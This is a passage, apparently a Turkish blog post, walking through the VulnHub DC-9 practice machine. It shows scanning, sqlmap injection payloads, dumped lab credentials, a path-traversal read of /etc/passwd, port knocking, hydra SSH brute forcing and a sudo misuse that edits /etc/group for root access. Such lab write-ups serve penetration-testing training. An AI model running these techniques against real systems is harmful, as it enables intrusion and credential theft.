{"id":1244,"date":"2021-06-24T19:16:37","date_gmt":"2021-06-24T19:16:37","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1244"},"modified":"2021-06-24T19:17:43","modified_gmt":"2021-06-24T19:17:43","slug":"dc-9","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/24\/dc-9\/","title":{"rendered":"DC: 9"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nDC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.<\/p>\n

The ultimate goal of this challenge is to get root and to read the one and only flag.
\nVulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/dc-9,412\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong>
\nhttps:\/\/download.vulnhub.com\/dc\/DC-9.zip<\/a><\/p>\n

Walkthrough<\/h2>\n

Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n

\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# arp-scan -l | grep 90:e4\n192.168.31.113  08:00:27:da:90:e4   PCS Systemtechnik GmbH\n\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.31.102  netmask 255.255.255.0  broadcast 192.168.31.255\n        inet6 fe80::a00:27ff:fef2:f7d9  prefixlen 64  scopeid 0x20<link>\n        ether 08:00:27:f2:f7:d9  txqueuelen 1000  (Ethernet)\n        RX packets 23  bytes 2832 (2.7 KiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 522  bytes 31806 (31.0 KiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# \n<\/code><\/pre>\n
nmap taramas\u0131 ile devam edelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nmap 192.168.31.113 -p- -A -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-24 11:27 EDT\nNmap scan report for dc-9 (192.168.31.113)\nHost is up (0.00062s latency).\nNot shown: 65533 closed ports\nPORT   STATE    SERVICE VERSION\n22\/tcp filtered ssh\n80\/tcp open     http    Apache httpd 2.4.38 ((Debian))\n|_http-server-header: Apache\/2.4.38 (Debian)\n|_http-title: Example.com - Staff Details - Welcome\nMAC Address: 08:00:27:DA:90:E4 (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.62 ms dc-9 (192.168.31.113)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 10.01 seconds\n<\/code><\/pre>\n
Evet olay yine belli gibi ama bakal\u0131m. Web uygulamas\u0131n\u0131 ara\u015ft\u0131rmaya ba\u015flayal\u0131m. Nikto'da bir \u015fey \u00e7\u0131kmad\u0131. Gobuster a\u015fa\u011f\u0131daki gibi<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# gobuster dir --discover-backup --extensions txt,php,php5,backup,log,sql,html --follow-redirect --url http:\/\/192.168.31.113\/ --wordlist \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt --status-codes-blacklist 404,403\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.31.113\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   403,404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              php5,backup,log,sql,html,txt,php\n[+] Follow Redirect:         true\n[+] Timeout:                 10s\n===============================================================\n2021\/06\/24 11:29:38 Starting gobuster in directory enumeration mode\n===============================================================\n\/search.php           (Status: 200) [Size: 1091]\n\/index.php            (Status: 200) [Size: 917] \n\/welcome.php          (Status: 200) [Size: 1210]\n\/results.php          (Status: 200) [Size: 1056]\n\/display.php          (Status: 200) [Size: 2961]\n\/css                  (Status: 200) [Size: 933] \n\/includes             (Status: 200) [Size: 747] \n\/logout.php           (Status: 200) [Size: 1210]\n\/config.php           (Status: 200) [Size: 0]   \n\/manage.php           (Status: 200) [Size: 1210]\n\/session.php          (Status: 200) [Size: 1210]\n\n===============================================================\n2021\/06\/24 12:01:56 Finished\n===============================================================\n<\/code><\/pre>\n
\u0130nternet sayfas\u0131 i\u00e7erisinde gezinirken sqli olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcm ve form k\u0131s\u0131mlar\u0131na teker teker sqli denemeye ba\u015flad\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# cat istek\nPOST \/results.php HTTP\/1.1\nHost: 192.168.31.113\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 9\nOrigin: http:\/\/192.168.31.113\nConnection: close\nReferer: http:\/\/192.168.31.113\/search.php\nCookie: PHPSESSID=1ddhehu09fm84m2f2s2ggcjda1\nUpgrade-Insecure-Requests: 1\n\nsearch=a<\/code><\/pre>\n
sqlmap sq   l injection buldu.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs --batch\n        ___\n       __H__\n ___ ___[(]_____ ___ ___  {1.5.5#stable}\n|_ -| . [']     | .'| . |\n|___|_  [']_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 11:39:16 \/2021-06-24\/\n\n[11:39:16] [INFO] parsing HTTP request from 'istek'\n[11:39:17] [INFO] testing connection to the target URL\n[11:39:17] [INFO] checking if the target is protected by some kind of WAF\/IPS\n[11:39:17] [INFO] testing if the target URL content is stable\n[11:39:17] [INFO] target URL content is stable\n[11:39:17] [INFO] testing if POST parameter 'search' is dynamic\n[11:39:17] [WARNING] POST parameter 'search' does not appear to be dynamic\n[11:39:17] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable\n[11:39:17] [INFO] testing for SQL injection on POST parameter 'search'\n[11:39:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[11:39:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\n[11:39:18] [INFO] POST parameter 'search' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string=\"13\")\n[11:39:19] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' \nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y\/n] Y\n[11:39:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\n[11:39:19] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\n[11:39:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\n[11:39:19] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\n[11:39:19] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'\n[11:39:19] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'\n[11:39:19] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\n[11:39:19] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\n[11:39:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[11:39:19] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[11:39:19] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[11:39:19] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\n[11:39:19] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[11:39:19] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'\n[11:39:19] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'\n[11:39:19] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'\n[11:39:19] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'\n[11:39:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'\n[11:39:19] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\n[11:39:19] [INFO] testing 'Generic inline queries'\n[11:39:19] [INFO] testing 'MySQL inline queries'\n[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'\n[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries'\n[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'\n[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'\n[11:39:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\n[11:39:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\n[11:39:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[11:39:29] [INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable \n[11:39:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n[11:39:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[11:39:30] [INFO] target URL appears to be UNION injectable with 6 columns\n[11:39:30] [INFO] POST parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable\n[11:39:30] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval\nPOST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N\nsqlmap identified the following injection point(s) with a total of 133 HTTP(s) requests:\n---\nParameter: search (POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause\n    Payload: search=-9301' OR 8087=8087-- KuZR\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: search=a' AND (SELECT 3089 FROM (SELECT(SLEEP(5)))vFdQ)-- AgWE\n\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 6 columns\n    Payload: search=a' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170786a71,0x494f4144624c496d59534d4c4e4655656143744154586a57776159515068757478734a546e464a51,0x7178626b71),NULL,NULL-- -\n---\n[11:39:30] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Debian 10 (buster)\nweb application technology: Apache 2.4.38\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\n[11:39:30] [INFO] fetching database names\navailable databases [3]:\n[*] information_schema\n[*] Staff\n[*] users\n\n[11:39:30] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/192.168.31.113'\n\n[*] ending @ 11:39:30 \/2021-06-24\/\n<\/code><\/pre>\n
sqlmap ile a\u015fa\u011f\u0131daki sonu\u00e7lar\u0131 buldum.<\/p>\n
Database: users\nTable: UserDetails\n[17 entries]\n+----+------------+---------------+---------------------+-----------+-----------+\n| id | lastname   | password      | reg_date            | username  | firstname |\n+----+------------+---------------+---------------------+-----------+-----------+\n| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |\n| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |\n| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |\n| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |\n| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |\n| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |\n| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |\n| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |\n| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |\n| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |\n| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |\n| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |\n| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |\n| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |\n| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |\n| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |\n| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |\n+----+------------+---------------+---------------------+-----------+-----------+\n<\/code><\/pre>\n
Database: Staff\nTable: StaffDetails\n[17 entries]\n+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+\n| id | email                 | phone          | lastname   | reg_date            | firstname | position                      |\n+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+\n| 1  | marym@example.com     | 46478415155456 | Moe        | 2019-05-01 17:32:00 | Mary      | CEO                           |\n| 2  | julied@example.com    | 46457131654    | Dooley     | 2019-05-01 17:32:00 | Julie     | Human Resources               |\n| 3  | fredf@example.com     | 46415323       | Flintstone | 2019-05-01 17:32:00 | Fred      | Systems Administrator         |\n| 4  | barneyr@example.com   | 324643564      | Rubble     | 2019-05-01 17:32:00 | Barney    | Help Desk                     |\n| 5  | tomc@example.com      | 802438797      | Cat        | 2019-05-01 17:32:00 | Tom       | Driver                        |\n| 6  | jerrym@example.com    | 24342654756    | Mouse      | 2019-05-01 17:32:00 | Jerry     | Stores                        |\n| 7  | wilmaf@example.com    | 243457487      | Flintstone | 2019-05-01 17:32:00 | Wilma     | Accounts                      |\n| 8  | bettyr@example.com    | 90239724378    | Rubble     | 2019-05-01 17:32:00 | Betty     | Junior Accounts               |\n| 9  | chandlerb@example.com | 189024789      | Bing       | 2019-05-01 17:32:00 | Chandler  | President - Sales             |\n| 10 | joeyt@example.com     | 232131654      | Tribbiani  | 2019-05-01 17:32:00 | Joey      | Janitor                       |\n| 11 | rachelg@example.com   | 823897243978   | Green      | 2019-05-01 17:32:00 | Rachel    | Personal Assistant            |\n| 12 | rossg@example.com     | 6549638203     | Geller     | 2019-05-01 17:32:00 | Ross      | Instructor                    |\n| 13 | monicag@example.com   | 8092432798     | Geller     | 2019-05-01 17:32:00 | Monica    | Marketing                     |\n| 14 | phoebeb@example.com   | 43289079824    | Buffay     | 2019-05-01 17:32:02 | Phoebe    | Assistant Janitor             |\n| 15 | scoots@example.com    | 454786464      | McScoots   | 2019-05-01 20:16:33 | Scooter   | Resident Cat                  |\n| 16 | janitor@example.com   | 65464646479741 | Trump      | 2019-12-23 03:11:39 | Donald    | Replacement Janitor           |\n| 17 | janitor2@example.com  | 47836546413    | Morrison   | 2019-12-24 03:41:04 | Scott     | Assistant Replacement Janitor |\n+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+\n<\/code><\/pre>\n
Database: Staff\nTable: Users\n[1 entry]\n+--------+----------------------------------+----------+\n| UserID | Password                         | Username |\n+--------+----------------------------------+----------+\n| 1      | 856f5de590ef37314e7c3bdf6f8a66dc | admin    |\n+--------+----------------------------------+----------+\n<\/code><\/pre>\n
856f5de590ef37314e7c3bdf6f8a66dc hash'ini internet \u00fczerinnde https:\/\/www.md5online.org\/md5-decrypt.html<\/a> adresinden k\u0131rd\u0131m. Sonu\u00e7:transorbital1<\/p>\n
Bunun \u00fczerine web uygulamas\u0131na giri\u015f yapt\u0131m. Uzunca bir s\u00fcre i\u00e7eride incelemeler yapt\u0131ktan sonra bir \u015fey bulamad\u0131m. Ancak baz\u0131 sayfalar\u0131n alt\u0131nda File does not exist<\/strong> bilgisi vard\u0131. LFI olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcm ve fuzzing yapmaya ba\u015flad\u0131m.
\nhttp:\/\/192.168.31.113\/welcome.php?file=..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/a><\/strong> ba\u015far\u0131l\u0131 olmu\u015ftu. Dha \u00f6nceki \u00e7\u00f6z\u00fcmlerimde de kulland\u0131\u011f\u0131m lfi ara\u00e7lar\u0131 ile (github'umda mevcut) b\u00fct\u00fcn olas\u0131 dosyalar\u0131 burp arac\u0131l\u0131\u011f\u0131 ile okumaya ba\u015flad\u0131\u0131mda etc\/knockd.conf<\/strong> dosyas\u0131n\u0131 buldum. ssh filtred olmas\u0131 ve bu dosya m\u00fckemmelid. Port knocking!
\nDosya i\u00e7eri\u011fi a\u015fa\u011f\u0131daki gibi:<\/p>\n
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = \/sbin\/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = \/sbin\/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn <\/code><\/pre>\n
Hadi!<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# knock 192.168.31.113 7469 8475 9842  \n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# nmap 192.168.31.113 -p 22          \nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-24 14:19 EDT\nNmap scan report for dc-9 (192.168.31.113)\nHost is up (0.00042s latency).\n\nPORT   STATE SERVICE\n22\/tcp open  ssh\nMAC Address: 08:00:27:DA:90:E4 (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 0.19 seconds\n<\/code><\/pre>\n
Evet ssh a\u00e7\u0131ld\u0131. \u015eimdi sqli ile elde etti\u011fimiz kullan\u0131c\u0131larla bir sald\u0131r\u0131 yapal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# cat users                        \nmarym\njulied\nfredf\nbarneyr\ntomc\njerrym\nwilmaf\nbettyr\nchandlerb\njoeyt\nrachelg\nrossg\nmonicag\nphoebeb\nscoots\njanitor\njanitor2\nroot\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# cat passwords    \n3kfs86sfd\n468sfdfsd2\n4sfd87sfd1\nRocksOff\nTC&TheBoyz\nB8m#48sd\nPebbles\nBamBam01\nUrAG0D!\nPassw0rd\nyN72#dsd\nILoveRachel\n3248dsds7s\nsmellycats\nYR3BVxxxw87\nIlovepeepee\nHawaii-Five-0\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# hydra -L users -P passwords ssh:\/\/192.168.31.113                                                                                                                                                                                    255 \u2a2f\nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-06-24 14:19:41\n[WARNING] module ssh does not support HYDRA_PROXY* !\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[WARNING] the HYDRA_PROXY_HTTP environment variable works only with the http-head\/http-get module, ignored...\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17\/p:17), ~19 tries per task\n[DATA] attacking ssh:\/\/192.168.31.113:22\/\n[22][ssh] host: 192.168.31.113   login: chandlerb   password: UrAG0D!\n[22][ssh] host: 192.168.31.113   login: joeyt   password: Passw0rd\n[22][ssh] host: 192.168.31.113   login: janitor   password: Ilovepeepee\n1 of 1 target successfully completed, 3 valid passwords found\n[WARNING] Writing restore file because 5 final worker threads did not complete until end.\n[ERROR] 5 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-06-24 14:20:29\n<\/code><\/pre>\n
Harika! Kullan\u0131c\u0131lar\u0131n hepsi ile teker teker giri\u015f yapt\u0131m ve incelemeler ger\u00e7ekle\u015ftirdim. O esnada garip bir dosya buldum.<\/p>\n
janitor@dc-9:~\/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt\nBamBam01\nPassw0rd\nsmellycats\nP0Lic#10-4\nB4-Tru3-001\n4uGU5T-NiGHts\n<\/code><\/pre>\n
Burdaki bilgileri hydra ile tekrar kulland\u0131m yani parolalar\u0131n son hali a\u015fa\u011f\u0131daki gibi oldu.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# cat passwords    \nBamBam01\nPassw0rd\nsmellycats\nP0Lic#10-4\nB4-Tru3-001\n4uGU5T-NiGHts\n3kfs86sfd\n468sfdfsd2\n4sfd87sfd1\nRocksOff\nTC&TheBoyz\nB8m#48sd\nPebbles\nBamBam01\nUrAG0D!\nPassw0rd\nyN72#dsd\nILoveRachel\n3248dsds7s\nsmellycats\nYR3BVxxxw87\nIlovepeepee\nHawaii-Five-0\n<\/code><\/pre>\n
Hydra sald\u0131r\u0131s\u0131 sonucu yeni kullan\u0131c\u0131 geldi.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# hydra -L users -P passwords ssh:\/\/192.168.31.113\nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-06-24 14:24:59\n[WARNING] module ssh does not support HYDRA_PROXY* !\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[WARNING] the HYDRA_PROXY_HTTP environment variable works only with the http-head\/http-get module, ignored...\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 414 login tries (l:18\/p:23), ~26 tries per task\n[DATA] attacking ssh:\/\/192.168.31.113:22\/\n[22][ssh] host: 192.168.31.113   login: fredf   password: B4-Tru3-001\n[22][ssh] host: 192.168.31.113   login: chandlerb   password: UrAG0D!\n[22][ssh] host: 192.168.31.113   login: joeyt   password: Passw0rd\n[STATUS] 347.00 tries\/min, 347 tries in 00:01h, 69 to do in 00:01h, 16 active\n[22][ssh] host: 192.168.31.113   login: janitor   password: Ilovepeepee\n1 of 1 target successfully completed, 4 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-06-24 14:26:15\n<\/code><\/pre>\n
Bu kullan\u0131c\u0131 ile i\u00e7eri girdim ve incelemeler yapmaya ba\u015flad\u0131m. A\u015fa\u011f\u0131daki sonucu yakalad\u0131m.<\/p>\n
fredf@dc-9:~$ sudo -l\nMatching Defaults entries for fredf on dc-9:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser fredf may run the following commands on dc-9:\n    (root) NOPASSWD: \/opt\/devstuff\/dist\/test\/test\nfredf@dc-9:~$ \nfredf@dc-9:~$ sudo \/opt\/devstuff\/dist\/test\/test \nUsage: python test.py read append\n<\/code><\/pre>\n
\/opt\/devstuff\/dist\/test\/test<\/strong> root olarak \u00e7al\u0131\u015ft\u0131rabilioruz ancak bir hata ile kar\u015f\u0131la\u015f\u0131yoruz. Bunun \u00fczerine \u00e7e\u015fitli i\u015flemler yapt\u0131m. \u00c7al\u0131\u015ft\u0131\u011f\u0131m dizin test.py isimli bir dosya olu\u015fturdum, parametre olarak onu verdim. Ancak ayn\u0131 hatalar\u0131 ald\u0131m. python'\u0131n tam konumunu parametre olarak verdim hata ald\u0131m. python2, pyhon3 akla gelebilecek her \u015fey... Sonras\u0131nda ald\u0131\u011f\u0131m bir hata da test.py dosyas\u0131\u0131n 11. sat\u0131r\u0131nda bir uyar\u0131 veriyordu. Ancak benim test.py i\u00e7erisinde sadece print "test"<\/strong> ifadesi vard\u0131. Bunun \u00fczerine a\u015fa\u011f\u0131daki i\u015flemi ger\u00e7ekle\u015ftirdim.<\/p>\n
fredf@dc-9:~$ find \/ -name test.py 2>\/dev\/null\n\/home\/fredf\/test.py\n\/opt\/devstuff\/test.py\n\/usr\/lib\/python3\/dist-packages\/setuptools\/command\/test.py\n<\/code><\/pre>\n
fredf@dc-9:~$ ls -l \/opt\/devstuff\/test.py\n-rw-r--r-- 1 root root 250 Dec 29  2019 \/opt\/devstuff\/test.py\nfredf@dc-9:~$ \nfredf@dc-9:~$ \nfredf@dc-9:~$ cat \/opt\/devstuff\/test.py\n#!\/usr\/bin\/python\n\nimport sys\n\nif len (sys.argv) != 3 :\n    print (\"Usage: python test.py read append\")\n    sys.exit (1)\n\nelse :\n    f = open(sys.argv[1], \"r\")\n    output = (f.read())\n\n    f = open(sys.argv[2], \"a\")\n    f.write(output)\n    f.close()<\/code><\/pre>\n
M\u00fckemmel! \u0130lk parametree ald\u0131\u011f\u0131 dosyay\u0131 2. parametredek dosyan\u0131n i\u00e7erisine yaz\u0131yor. Akl\u0131ma hemen group dosyas\u0131 geldi!<\/p>\n
fredf@dc-9:~$ cat \/etc\/group >> copyGroup<\/code><\/pre>\n
\u00c7al\u0131\u015ft\u0131\u011f\u0131m dizine kopyalad\u0131m. root ve sudo grubuna fredf kullan\u0131c\u0131s\u0131n\u0131 ekledim. Son hali a\u015fa\u011f\u0131daki gibi oldu.<\/p>\n
fredf@dc-9:~$ cat copyGroup \nroot:x:0:fredf\ndaemon:x:1:\nbin:x:2:\nsys:x:3:\nadm:x:4:\ntty:x:5:\ndisk:x:6:\nlp:x:7:\nmail:x:8:\nnews:x:9:\nuucp:x:10:\nman:x:12:\nproxy:x:13:\nkmem:x:15:\ndialout:x:20:\nfax:x:21:\nvoice:x:22:\ncdrom:x:24:\nfloppy:x:25:\ntape:x:26:\nsudo:x:27:fredf\naudio:x:29:\ndip:x:30:\nwww-data:x:33:\nbackup:x:34:\noperator:x:37:\nlist:x:38:\nirc:x:39:\nsrc:x:40:\ngnats:x:41:\nshadow:x:42:\nutmp:x:43:\nvideo:x:44:\nsasl:x:45:\nplugdev:x:46:\nstaff:x:50:\ngames:x:60:\nusers:x:100:\nnogroup:x:65534:\nsystemd-journal:x:101:\nsystemd-timesync:x:102:\nsystemd-network:x:103:\nsystemd-resolve:x:104:\ninput:x:105:\nkvm:x:106:\nrender:x:107:\ncrontab:x:108:\nnetdev:x:109:\nmessagebus:x:110:\nssh:x:111:\nsystemd-coredump:x:999:\nssl-cert:x:112:\nmysql:x:113:\nmarym:x:1001:\njulied:x:1002:\nfredf:x:1003:\nbarneyr:x:1004:\ntomc:x:1005:\njerrym:x:1006:\nwilmaf:x:1007:\nbettyr:x:1008:\nchandlerb:x:1009:\njoeyt:x:1010:\nrachelg:x:1011:\nrossg:x:1012:\nmonicag:x:1013:\nphoebeb:x:1014:\nscoots:x:1015:\njanitor:x:1016:\njanitor2:x:1017:\n<\/code><\/pre>\n
Hadi \u00e7al\u0131\u015ft\u0131ral\u0131m.<\/p>\n
fredf@dc-9:~$ sudo \/opt\/devstuff\/dist\/test\/test \/home\/fredf\/copyGroup \/etc\/group<\/code><\/pre>\n
Kullan\u0131c\u0131mla tekrar giri\u015f \u00e7\u0131k\u0131\u015f yapt\u0131m.<\/p>\n
